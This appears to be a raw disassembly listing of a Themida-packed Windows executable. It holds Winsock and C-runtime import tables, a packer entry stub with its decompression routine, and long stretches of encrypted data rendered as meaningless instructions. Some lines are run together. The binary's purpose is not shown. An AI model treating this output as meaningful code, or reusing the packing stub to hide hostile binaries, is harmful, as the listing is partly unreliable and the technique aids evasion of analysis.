dd 612EB6F6h, 1Bh dup(0)
dd 563C5E04h, 14h dup(0)
dd 5E5E9809h, 52h dup(0)
dd 68899C8h, 1Bh dup(0)
; ---------------------------------------------------------------------------
push es
retn
; ---------------------------------------------------------------------------
dw 7915h
dd 0Bh dup(0)
dd 61A98A7Ch, 0Ch dup(0)
dd 4913E5BEh, 2Bh dup(0)
dd 4AA86ABh, 11h dup(0)
dd 30DDB90Dh, 0Ah dup(0)
dd 28C06A0h, 28D0000h, 28E0000h
dword_50F710 dd 28E1533h dd 28E16DBh
dword_50F718 dd 28E1945h dd 28E1C4Ch, 28F0000h
dword_50F724 dd 2900000h dd 2910000h, 29103C3h, 291074Fh, 2910B7Eh
dword_50F738 dd 2920000h ; sub_40E7A0+25Ar ...
dword_50F73C dd 2920708h dword_50F740 dd 2920908h dd 2920AF1h, 2930000h
dword_50F74C dd 29303B4h ; sub_40ED70+15Er ...
dd 293060Dh
dword_50F754 dd 2940000h ; sub_40E7A0+22Cr
dd 2950000h
dword_50F75C dd 2960000h ; sub_4207E0+285r ...
dd 2970000h
dword_50F764 dd 2971208h ; sub_40E7A0+24Cr
dd 10h dup(0)
dd 76F36C5Bh, 0Bh dup(0)
dd 2710000h, 271012Ah, 2720000h, 2720640h, 27207EDh, 2720B04h
dd 2720C82h, 2730000h, 273068Fh, 2730A63h, 2730D2Bh, 2740000h
dd 2740627h, 274068Ah, 2740981h, 2750000h, 27503B6h, 2750758h
dd 27508C9h, 2750C56h, 2760000h, 2760595h, 2760611h, 2760944h
dd 2760B3Eh, 2760CDEh, 2770000h, 27702B4h, 277044Ch, 277051Fh
dd 27706C3h, 277074Fh
dword_50F858 dd 2780000h dword_50F85C dd 27806E9h dword_50F860 dd 278088Eh dd 7C901005h, 7C9010EDh, 2780A72h
dd 2780ABAh
dword_50F874 dd 2790000h ; sub_420530+FEr
; ---------------------------------------------------------------------------
add byte ptr [esi], 79h
add al, [eax]
add [edx+2], bh
retf 7A02h
; ---------------------------------------------------------------------------
db 2
dd 27A069Bh, 27B0000h, 27C0000h, 27C0896h, 27D0000h, 27E0000h
dd 27E0865h
dword_50F8A0 dd 27F0000h ; sub_420530:loc_42057Cr ...
dword_50F8A4 dd 27F0769h ; sub_40FF60+47r ...
dd 27F0883h, 27F0A13h, 2800000h, 2810000h, 2820000h, 2830000h
dd 2840000h
dword_50F8C4 dd 2841888h dd 2841A92h, 2850000h
dword_50F8D0 dd 2850303h ; sub_41B4B0+2Fr ...
dd 2850431h
dword_50F8D8 dd 2860000h ; sub_4203D0+2Er ...
dd 2860414h, 2870000h, 2870BEAh
dword_50F8E8 dd 2880000h dd 2880273h, 2890000h, 28A0000h, 28A1050h, 28A1C3Ah, 28B0000h
dd 28B0734h, 28B0CF3h
dd 28C0000h
dd 1Ah dup(0)
dd 71B2578Ch, 71B25099h, 0Bh dup(0)
dword_50F9AC dd 760AC190h dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh, 0Dh dup(0)
dd 77C4EE2Fh, 77C35C94h, 77C3537Ch, 77C1F1DBh, 77C1F1A4h
dd 77C623D8h, 77C4D675h, 77C227FAh, 77C1EEEBh, 77C617ACh
dd 77C32DAEh, 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h
dd 77C40BB1h, 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h
dd 77C3A3DBh, 77C4186Ah
dword_50FA60 dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_42D2C0+53r ...
dword_50FA64 dd 77C1F2BCh ; resolved to->MSVCRT._errno dd 77C371FAh, 77C36DF2h, 77C39D67h, 77C1C561h
dword_50FA78 dd 77C5F988h ; resolved to->MSVCRT._pctype; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0C0h, 0C2h, 77h
dword_50FA80 dd 77C40E13h ; resolved to->MSVCRT.fprintfdword_50FA84 dd 77C5FC80h ; resolved to->MSVCRT._iob ; sub_42CB10+4Ar ...
; ---------------------------------------------------------------------------
imul dh
retn
; ---------------------------------------------------------------------------
db 77h
dd 77C41B72h
dword_50FA90 dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_50FA94 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_50FA98 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_50FA9C dd 77C4624Eh ; resolved to->MSVCRT._stricmpdword_50FAA0 dd 77C41574h ; resolved to->MSVCRT.ftelldword_50FAA4 dd 77C411FBh ; resolved to->MSVCRT.fread dd 77C40E76h
dword_50FAAC dd 77C47E61h ; resolved to->MSVCRT.wcscat ; ___:0041C2DAr
; ---------------------------------------------------------------------------
adc al, dh
retn
; ---------------------------------------------------------------------------
db 77h
dd 77C40AB1h, 77C4FA10h
dword_50FABC dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_41B950+17Er ...
dd 77C371BCh
dword_50FAC4 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_42DFD0+34r ...
dd 77C2C407h
dword_50FACC dd 77C47920h ; resolved to->MSVCRT.strncat dd 77C39E7Eh
dword_50FAD4 dd 77C47A50h ; resolved to->MSVCRT.strncmp ; sub_42CB10+90r
dword_50FAD8 dd 77C3FA76h ; resolved to->MSVCRT._snprintf db 90h
db 0CFh, 0C1h, 77h
dword_50FAE0 dd 77C47660h ; resolved to->MSVCRT.strchr db 8Ah, 0FFh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 77h
; ---------------------------------------------------------------------------
mul byte ptr [esi]
retn 0E777h
; ---------------------------------------------------------------------------
db 14h, 0C2h, 77h
dd 77C29CC5h
dword_50FAF4 dd 77C47CE5h ; resolved to->MSVCRT.strtok ; sub_41BC90+5Dr
dword_50FAF8 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_40FF60+1126r ...
dword_50FAFC dd 77C47A90h ; resolved to->MSVCRT.strncpy ; ___:00419BDAr
dd 77C29CDDh, 77C293C7h
dword_50FB08 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_422A40+203r ...
dd 77C35F0Dh, 77C46170h
dword_50FB14 dd 77C5F97Ch ; resolved to->MSVCRT.__mb_cur_max dd 77C46125h
dd 77C46320h
dd 19h dup(0)
dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh dup(0)
dd 7CA41110h, 0Bh dup(0)
dd 28C0383h
off_50FBF0 dd offset sub_5EE1E5 ; DATA XREF: ___:00419EBDr
; sub_419F50+2Dr ...
dd 0Bh dup(0)
dword_50FC20 dd 71AB2B66h ; resolved to->WS2_32.ntohs dd 71AB951Eh, 71AB3E00h
dword_50FC2C dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_425020:loc_4250C9r ...
dword_50FC30 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_42A5F0:loc_42A6ABr
dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_50FC44 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError dd 71AB4544h, 71AB88D3h
dword_50FC50 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_42B540+E8r
dd 71AB2BC0h
dword_50FC58 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_50FC5C dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_42A5F0+F9r
dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
dd 71AB2A5Eh
dword_50FC78 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa dd 71AB2BC0h
dword_50FC80 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_41A6D0+48r ...
dword_50FC84 dd 71AC1028h ; resolved to->WS2_32.acceptdword_50FC88 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_41F860+198r ...
dword_50FC8C dd 71AB428Ah ; resolved to->WS2_32.send ; ___:004216E1r ...
dword_50FC90 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_427AD0+18Dr ...
dd 71AB2BF4h, 71ABE479h, 71AC0B50h, 71AB4FD4h, 11h dup(0)
dd 76D6AC1Dh, 4C5h dup(0)
___ ends
; Section 2. (virtual address 00111000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00111000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 511000h
align 2000h
_rsrc___ ends
; Section 3. (virtual address 00112000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00112000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 512000h
dd 7C801A24h, 7C81CDDAh, 0
aE db 'оe',9,']',0
align 10h
dd 112050h, 112000h, 3 dup(0)
dd 112079h, 11200Ch, 5 dup(0)
aKernel32_dll_1 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
align 1000h
_idata__ ends
; Section 4. (virtual address 00113000)
; Virtual size : 00110000 (1114112.)
; Section size in file : 00110000 (1114112.)
; Offset to raw data for section: 00113000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
Themida_ segment para public 'CODE' use32
assume cs:Themida_
;org 513000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
dd 6D8FD51Ch, 41FE6h, 5EA04h, 158172h, 0
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_1C = dword ptr -1Ch
; FUNCTION CHUNK AT 00513265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0057BADA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0057EF83 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0057F1F9 SIZE 0000004C BYTES
mov eax, 0
pusha
or eax, eax
jz short loc_513086
call $+5
pop eax
add eax, 53h
cmp byte ptr [eax], 0E9h
jnz short loc_513041
popa
jmp short loc_513076
; ---------------------------------------------------------------------------
db 0DBh, 2Dh, 37h
db 30h, 51h, 0
dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------
loc_513041: ; CODE XREF: start+18j
call $+5
pop eax
and eax, 0FFFFF000h
xor edi, edi
loc_51304E: ; CODE XREF: start+5Ej
mov bx, 5A19h
add bx, 34h
cmp [eax], bx
jnz short loc_51306D
movzx edx, word ptr [eax+3Ch]
add edx, eax
mov ebx, 44E9h
add ebx, 67h
cmp [edx], ebx
jz short loc_513074
loc_51306D: ; CODE XREF: start+45j
sub eax, 1000h
jmp short loc_51304E
; ---------------------------------------------------------------------------
loc_513074: ; CODE XREF: start+57j
mov edi, eax
loc_513076: ; CODE XREF: start+1Bj
jmp loc_513265
; ---------------------------------------------------------------------------
add eax, edi
mov ecx, 11326Ah
add ecx, edi
jmp short loc_513090
; ---------------------------------------------------------------------------
loc_513086: ; CODE XREF: start+8j
mov eax, offset loc_57BADA
mov ecx, offset word_51326A
loc_513090: ; CODE XREF: start+70j
push eax
push ecx
call sub_51311B
call $+5
pop eax
sub eax, 26h
mov ecx, 1EFh
mov byte ptr [eax], 0E9h
sub ecx, 5
mov [eax+1], ecx
popa
jmp loc_513265
start endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 9328h
dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h
dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
db 0C8h, 0E4h, 0F2h
; =============== S U B R O U T I N E =======================================
sub_51311B proc near ; CODE XREF: start+7Ep
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_513127: ; CODE XREF: sub_51311B:loc_51313Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_513132: ; CODE XREF: sub_51311B+7Aj
; sub_51311B+C3j ...
add dl, dl
jnz short loc_51313B
mov dl, [esi]
inc esi
adc dl, dl
loc_51313B: ; CODE XREF: sub_51311B+19j
jnb short loc_513127
add dl, dl
jnz short loc_513146
mov dl, [esi]
inc esi
adc dl, dl
loc_513146: ; CODE XREF: sub_51311B+24j
jnb short loc_513197
xor eax, eax
add dl, dl
jnz short loc_513153
mov dl, [esi]
inc esi
adc dl, dl
loc_513153: ; CODE XREF: sub_51311B+31j
jnb loc_513238
add dl, dl
jnz short loc_513162
mov dl, [esi]
inc esi
adc dl, dl
loc_513162: ; CODE XREF: sub_51311B+40j
adc eax, eax
add dl, dl
jnz short loc_51316D
mov dl, [esi]
inc esi
adc dl, dl
loc_51316D: ; CODE XREF: sub_51311B+4Bj
adc eax, eax
add dl, dl
jnz short loc_513178
mov dl, [esi]
inc esi
adc dl, dl
loc_513178: ; CODE XREF: sub_51311B+56j
adc eax, eax
add dl, dl
jnz short loc_513183
mov dl, [esi]
inc esi
adc dl, dl
loc_513183: ; CODE XREF: sub_51311B+61j
adc eax, eax
jz short loc_51318D
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_51318D: ; CODE XREF: sub_51311B+6Aj
mov [edi], al
inc edi
mov ebx, 2
jmp short loc_513132
; ---------------------------------------------------------------------------
loc_513197: ; CODE XREF: sub_51311B:loc_513146j
mov eax, 1
loc_51319C: ; CODE XREF: sub_51311B:loc_5131B0j
add dl, dl
jnz short loc_5131A5
mov dl, [esi]
inc esi
adc dl, dl
loc_5131A5: ; CODE XREF: sub_51311B+83j
adc eax, eax
add dl, dl
jnz short loc_5131B0
mov dl, [esi]
inc esi
adc dl, dl
loc_5131B0: ; CODE XREF: sub_51311B+8Ej
jb short loc_51319C
sub eax, ebx
mov ebx, 1
jnz short loc_5131E3
mov ecx, 1
loc_5131C0: ; CODE XREF: sub_51311B:loc_5131D4j
add dl, dl
jnz short loc_5131C9
mov dl, [esi]
inc esi
adc dl, dl
loc_5131C9: ; CODE XREF: sub_51311B+A7j
adc ecx, ecx
add dl, dl
jnz short loc_5131D4
mov dl, [esi]
inc esi
adc dl, dl
loc_5131D4: ; CODE XREF: sub_51311B+B2j
jb short loc_5131C0
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_513132
; ---------------------------------------------------------------------------
loc_5131E3: ; CODE XREF: sub_51311B+9Ej
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_5131F1: ; CODE XREF: sub_51311B:loc_513205j
add dl, dl
jnz short loc_5131FA
mov dl, [esi]
inc esi
adc dl, dl
loc_5131FA: ; CODE XREF: sub_51311B+D8j
adc ecx, ecx
add dl, dl
loc_5131FE: ; CODE XREF: Themida_:00513271j
jnz short loc_513205
mov dl, [esi]
inc esi
adc dl, dl
loc_513205: ; CODE XREF: sub_51311B:loc_5131FEj
jb short loc_5131F1
cmp eax, 7D00h
jnb short loc_513228
cmp eax, 500h
jb short loc_513223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_513132
; ---------------------------------------------------------------------------
loc_513223: ; CODE XREF: sub_51311B+F8j
cmp eax, 7Fh
ja short loc_51322B
loc_513228: ; CODE XREF: sub_51311B+F1j
add ecx, 2
loc_51322B: ; CODE XREF: sub_51311B+10Bj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_513132
; ---------------------------------------------------------------------------
loc_513238: ; CODE XREF: sub_51311B:loc_513153j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_513259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_513132
; ---------------------------------------------------------------------------
loc_513259: ; CODE XREF: sub_51311B+125j
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
sub_51311B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_513265: ; CODE XREF: start:loc_513076j
; start+9Dj
jmp loc_57BADA
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
word_51326A dw 38E9h ; DATA XREF: start+77o
; ---------------------------------------------------------------------------
movsb
xor al, 57h
add esp, edi
jno short loc_5131FE
test [edi-41h], bh
enter 0FFFFB898h, 47h
mov edx, 0E13522AFh
sbb ch, dh
cld
add [edi+1A37D58h], esp
pop edi
jno short loc_513303
retn 551Dh
; ---------------------------------------------------------------------------
dw 52C0h
dd 39747365h, 419C7261h, 9F2E5E70h, 0AB473878h, 1FE19222h
dd 962122EFh, 855ED790h, 54F05501h, 6D650768h, 8616469h
dd 1736D15Fh, 0A57FD708h, 4B333839h, 22897001h, 0F51DC21Dh
dd 1004D00Eh, 9B97FABAh, 0D611FC4Ch, 0FAF42F03h, 240162A4h
dd 0FFBB102Eh, 0C8C58BF1h, 0E87060D4h, 815D88h, 1234B3EDh
dd 79958906h, 0B50D1D61h, 851021A1h
db 0FDh, 18h, 80h
; ---------------------------------------------------------------------------
loc_513303: ; CODE XREF: Themida_:00513289j
cmp dword ptr [ebp-1FD1AEE0h], 74h
sbb al, 0Ch
mov ebp, eax
mov esp, edx
mov eax, 0EFC22D69h
sbb al, 70h
inc esp
and al, 73h
db 3Eh
leave
test [ecx], al
push 45h
call near ptr 687AB4C8h
call far ptr 40DFh:0E9078374h
or ah, ds:0A7A894Bh
inc esp
aad 0E9h
sub [edx+eax], edx
in al, dx
pop edi
inc eax
push ebp
mov ebp, esp
sub dword ptr [ebx], 0FFFFFFC4h
fsubr st, st(6)
add [edx-7Fh], ebx
jmp far ptr 0C7DAh:8B0035A1h
; ---------------------------------------------------------------------------
db 24h, 45h, 0D8h
dd 400E6C08h, 81088963h, 1980F37Dh, 200F741Dh, 0B83FC08h
dd 12FF45CCh, 0E1EB3143h, 0BA61DC36h, 0C2C90A26h, 81034604h
dd 47FF7CC4h, 88714902h, 8002458Dh, 0C7085D8Bh, 50198885h
dd 10A8D94h, 1888C3D1h, 0B518941h, 644BD81h, 0E3755D05h
dd 518D2728h, 75D864BAh, 0E8A0980h, 5B20F4BBh, 5437ABB8h
dd 0D0D3781Fh, 4B080F98h, 0AF77675h, 4647C3AFh, 0C546484Ah
dd 0D14245F9h, 0E8A7461h, 0B1BFF0D0h, 41FC45EEh, 4704EB4Dh
dd 804691ADh, 0F7408A3Eh, 346D84BAh, 320C7DCCh, 0F83E7FEBh
dd 12906D19h, 0F40E99F0h, 0C14A1050h, 4F02865h, 0D1F807D6h
dd 2CC203E0h, 0DB033328h, 80301C8Ah, 0A7299FBh, 77390A87h
dd 0DEEBA705h, 6114224Ch, 0ACF0DFEh, 1E08ED66h, 0AC3E9EBh
dd 1A8610D5h, 0A0B7241h, 677461Bh, 143D424h, 0EC0EF05Dh
dd 637D83F4h, 66B07202h, 0A576C00Ch, 26C8AAECh, 8DC039F8h
dd 3BA840EDh, 0F15FC55h, 38BD7882h, 38AA37B0h, 81CBACAh
dd 7015B91Ch, 30BD08FCh, 0FFE0037h, 0FA754947h, 0BB22B938h
dd 1BB806Ah, 82F11231h, 2BBEDEBh, 57868E00h, 51071339h
dd 367E6570h, 268AB98Bh, 0C8E927DEh, 0C98599Dh, 0B2B90Dh
dd 0E2C0A7Fh, 2A5A7011h, 0FF8B5200h, 0BCC4825Ch, 610C010Bh
dd 0E953016Bh, 21398F04h, 8A80FC5Bh, 82052555h, 1508CC45h
dd 533F4321h, 2CF906C4h, 64C67C3h, 0C010A1AAh, 0F16C96DCh
dd 8C5158F8h, 11C45939h, 1D88458Ah, 0C4514187h, 0FBC947FEh
dd 0B8BE1510h, 0EC62C074h, 0CB8CC5D2h, 12C03470h, 765B4E39h
dd 0B810030Fh, 0D1043D51h, 46B33BE3h, 975500Eh, 0E11AC2Eh
dd 0E4EC0548h, 20069065h, 5C58497h, 6A968E15h, 0C25323B4h
dd 29A3C204h, 0C636718Ch, 0ECF20EE7h, 812BC3FFh, 22000477h
dd 84C1341Dh, 647533F9h, 1D3FBC20h, 0EF990ADDh, 80430230h
dd 7F8C89ECh, 90FFCC9Fh, 0EA45CF40h, 625060E9h, 8C5200C4h
dd 8211254Dh, 0CD84B1AAh, 8845AABh, 1A915613h, 0EE825E82h
dd 3B81AA75h, 8A3E3311h, 8113B9A8h, 434A9723h, 38EC8103h
dd 170307EAh, 0E23D8FB4h, 8D67E006h, 460890DAh, 0C45E1C56h
dd 0C46D8A88h, 5646401Ch, 0A63FC4h, 645076B1h, 676103CEh
dd 10F48C0Eh, 0D32BFB87h, 0E2818862h, 82EC05h, 0D19D5CF0h
dd 0C3EBB2Eh, 622D0700h, 8610CA0Bh, 0EA1BA031h, 0D706A00Dh
dd 336900F9h, 1693AEE8h, 0F3020CD5h, 0EA86C862h, 288860Fh
dd 7652492Fh, 32B75C3Eh, 2849515h, 1EE0816Dh, 41E41D93h
dd 0BE9DA8Ch, 0FB0E0F80h, 883C834Eh, 0C6066403h, 8EA42h
dd 1FE5BD1Fh, 26B17624h, 868A5C06h, 1D5018F2h, 8C1EF482h
dd 2185980h, 0ABE93240h, 0F2F490F9h, 401F0009h, 937D5929h
dd 0F806436Fh, 0F9088918h, 60D13AC2h, 4AC88286h, 0EA303666h
dd 1B764113h, 11F2004Ch, 66ABDD64h, 9E00FEDCh, 0B49C1C3Ah
dd 0F5342259h, 91D2C743h, 0C5202005h, 0C18203D0h, 11A84E14h
dd 1005D1F3h, 5AE1C95Bh, 76C7CF00h, 185DCAD6h, 7112E954h
dd 0AC07634Ah, 0E45FE073h, 2BF3D0A0h, 681A00EDh, 5C05BA6Eh
dd 4EC0625Bh, 0F961811h, 67513FFAh, 908AA10Ch, 0C3A48883h
dd 0F306E3D8h, 0FEEC7C84h, 0A0C6A48Ah, 0F6AA1DCh, 0EA4C7529h
dd 0BDBB19D8h, 0A8045D00h, 0A77B8650h, 832200CDh, 82206AC8h
dd 9C709DFCh, 1C2620E1h, 0EAEB818Ah, 29CDB651h, 8911580h
dd 0A8E628B1h, 7235F207h, 2600CC5Ah, 749674F6h, 60EA2C3Dh
dd 15AC8093h, 16C4858Dh, 7813C00h, 6E19A169h, 0A39D00B5h
dd 0E3E56C29h, 0BB078487h, 5D4B83A0h, 98A69150h, 955A3A04h
dd 9FA5C93h, 3180A282h, 5836F2Dh, 0E200E7FAh, 5664D484h
dd 1B3B438Fh, 51D53EF5h, 0BC917199h, 0C960A20h, 0A2000CD8h
dd 0F3E10F83h, 0BE050E7Fh, 0DC60604Eh, 19E4964h, 0FF09203h
dd 0F07165C5h, 18911962h, 40E65A93h, 61206ED4h, 6096740Dh
dd 64C959D6h, 58004163h, 55EA8ACEh, 129A44A7h, 18972E1Eh
dd 0F6BC29BCh, 0D8DF49C0h, 0A64633h, 39106CE6h, 54863674h
dd 3678E58h, 5D93A4B1h, 423103E4h, 89A57E09h, 68D983C3h
dd 8E1809Eh, 0C41E6E5Ah, 12BD18F6h, 0C37C1888h, 0A88A7800h
dd 32B18535h, 262206B7h, 38870BF3h, 5F75EAE6h, 486DE718h
dd 0F58310h, 0D9564DDFh, 8BE567F2h, 0C76B3Dh, 363C7F12h
dd 7863A55Eh, 30A60389h, 0CF8F0D9Eh, 90034FD7h, 41C3A252h
dd 28DA00E4h, 840E6Dh, 0C2F79930h, 9C47F36Fh, 0C3008990h
dd 6396FE91h, 1FC53Eh, 0A5E5BACh, 35C28532h, 0B7B0B518h
dd 28AD3048h, 6038B990h, 612F613Fh, 2200A1B4h, 6DB106BEh
dd 3398169h, 2B96E515h, 5800B702h, 0AA435BB9h, 63CBA442h
dd 0B6B549E2h, 9F0161C6h, 0B05E639Ah, 0C2ECA913h, 97A21C31h
dd 3618BE4Bh, 0E23348D1h, 0B90CCAF8h, 50CB6B3Bh, 82F60A9Dh
dd 80881B87h, 0AF7A1404h, 1E00D9CCh, 8F2DBE45h, 0DB5B3B9h
dd 0AC92AD61h, 3838BC81h, 0F8880F3Eh, 0F0800065h, 0C3372E1Ch
dd 0E1E3FE1h, 0D760597Ch, 40076D20h, 6033F0CFh, 0F68A2931h
dd 0C072FE67h, 3A43981Dh, 0AE19B071h, 9D05E18Eh, 88240400h
dd 4071FEFFh, 0B3664F03h, 0D0EEA0EAh, 0A713206h, 74AA0716h
dd 979F3CC0h, 0EC8D4E1Fh, 48E69860h, 91C01887h, 28E1B2EEh
dd 0EFA900C2h, 70C058D3h, 70A098ADh, 37F8B5D7h, 2736B802h
dd 836BCC93h, 9BC5AFB0h, 0F6183F3Eh, 0BF200048h, 6B2B390Ah
dd 9800ACCAh, 9193A916h, 0AD4D0C6Ch, 8F59BA95h, 0EBF94063h
dd 2FF1988Ah, 1F357843h, 45DA6A93h, 215E1C17h, 80458FE4h
dd 0EE83C631h, 0B69C8Dh, 4139225Bh, 6E4734FBh, 0CE53F61Dh
dd 0BE98DC47h, 0F04367F5h, 368F6Dh, 8423D341h, 73FE7896h
dd 0D81A2700h, 93E62F4Ah, 0FFD0C110h, 2329536Eh, 9C6B0008h
dd 0C62B63FAh, 0F0DD48A5h, 3990E705h, 31B400A9h, 0A3298406h
dd 90A3EB7Dh, 1CFF2880h, 60422E7h, 0C9C33B59h, 6B80690h
dd 61102140h, 97056000h, 1A07D929h, 40F8A8B2h, 68330027h
dd 0AAD4B090h, 0EF006CCFh, 654EE243h, 277DB94h, 0CB2B164Ah
dd 0CC90609Fh, 4B803AC7h, 0B853F1F7h, 0B391808Dh, 0A31004B9h
dd 913427F1h, 93B01984h, 420FF671h, 0D8900769h, 50C6F920h
dd 64BC0061h, 0D5DA57A7h, 0F0188136h, 5459B7F6h, 3D780324h
dd 6F107E90h, 0F787D0E7h, 4824A071h, 0CF0152A4h, 0A719F85Dh
dd 8BF26983h, 86B1335Ch, 1D1F3057h, 90A28C92h, 83B8493h
dd 0B882245Dh, 0AFBAB5C2h, 3E0B1FA8h, 737D0006h, 48AF8B5Fh
dd 0D648C46Eh, 4E862B13h, 7E2DB48h, 1342EE34h, 0AA9F8C00h
dd 98A24723h, 51A1F400h, 0AD2858CAh, 2F0C348Fh, 30249FC6h
dd 5B370C49h, 8E50CD7Eh, 0AAF0D090h, 2491A540h, 408C9B9Dh
dd 48C4EE29h, 28829E80h, 60B4F7B6h, 0BDA659C2h, 0E648B453h
dd 8D0C0004h, 0EA114B87h, 3C67954h, 93281031h, 500E4667h
dd 2712F12Ah, 5A7037E0h, 5E62FDh, 0FC2E1BBCh, 9A83A138h
dd 7A6F4100h, 0F0D9DF29h, 52E800D1h, 73985F63h, 7CE888BBh
dd 80A6E73Bh, 0DF041C77h, 0FEA7A47Eh, 0EE7124DBh, 0E7240784h
dd 13FFB061h, 879CD9F9h, 0E0A5F50Fh, 6F287905h, 0F2680199h
dd 0BC0C1E5Eh, 0C0E1DD5Fh, 41D1D12h, 0A54264B4h, 83276FB6h
dd 0C07D8780h, 66C9D30h, 0C72B5A9Fh, 0F62AF8CCh, 4A0288B3h
dd 46BC1954h, 1F6FE0DFh, 0EDDE1E07h, 9A239E4Eh, 0A84130BFh
dd 2990103Fh, 628728C3h
dd 1BD48090h, 96FF802Bh, 0CCE6432Ah, 6E7E0101h, 2533F00Ch
dd 1464B2D0h, 0E0923003h, 0CB023B08h, 0AB23BB03h, 6E6809BEh
dd 1410B5A9h, 89191ADh, 0A7E5CF02h, 8E410C2Ch, 13BAC240h
dd 20646F7Fh, 292D3FE4h, 2F0DF899h, 0E4231946h, 6D5EA400h
dd 701F183Fh, 16F63C00h, 89B1D223h, 0C76206C5h, 0E051EBAAh
dd 5319BAFEh, 73A0D3B7h, 303B62D8h, 0CE10C8E7h, 270B3386h
dd 21487BC3h, 32F7B57Ch, 54CBD834h, 4D3C94E7h, 0BB80082Ah
dd 0E994F906h, 9DEF6901h, 14254098h, 8E8B9A4h, 0BB09C1B2h
dd 901484EAh, 0E0CBC484h, 0BA00483Fh, 0DC940E9Fh, 5900A8A7h
dd 274C7D18h, 9D5678Fh, 9213F6A6h, 8754B421h, 0CE698020h
dd 0BC89985Dh, 7A7336h, 6B7B279Bh, 0D1663D91h, 0B949E5FAh
dd 9F2903A0h, 0A382BCAh, 2F533AD1h, 9F099D8Ch, 0D24788BAh
dd 26F3F0Fh, 49B8A723h, 0F510AB38h, 5100E114h, 3F5F2F97h
dd 0B2BECA63h, 235B315Ch, 3076DD51h, 1C88FBD0h, 0E444522Dh
dd 931EAC22h, 0F240853Dh, 9C0BB666h, 3F6802CFh, 1761E6Dh
dd 317278E0h, 4E103A89h, 567182C1h, 3EB95E00h, 0B5DE6EF1h
dd 14545DB2h, 0DB10B44Ch, 8F496234h, 1036114Eh, 16E57A0Eh
dd 69C7F73h, 993FB9D3h, 0B9138730h, 0EA71E0h, 0F52998D8h
dd 3C311CBEh, 10A464A1h, 0B143E4h, 6D9A49F4h, 0A709C275h
dd 3944F4A4h, 0D77F0088h, 0B1DE2B34h, 9F6CE9A1h, 0A1BEA041h
dd 0FE104418h, 6700E8A7h, 7BA9DB66h, 7561619h, 4DB03FECh
dd 54CE80F2h, 7F24C5CFh, 2B025833h, 3A3AE9Bh, 58DB1B5h
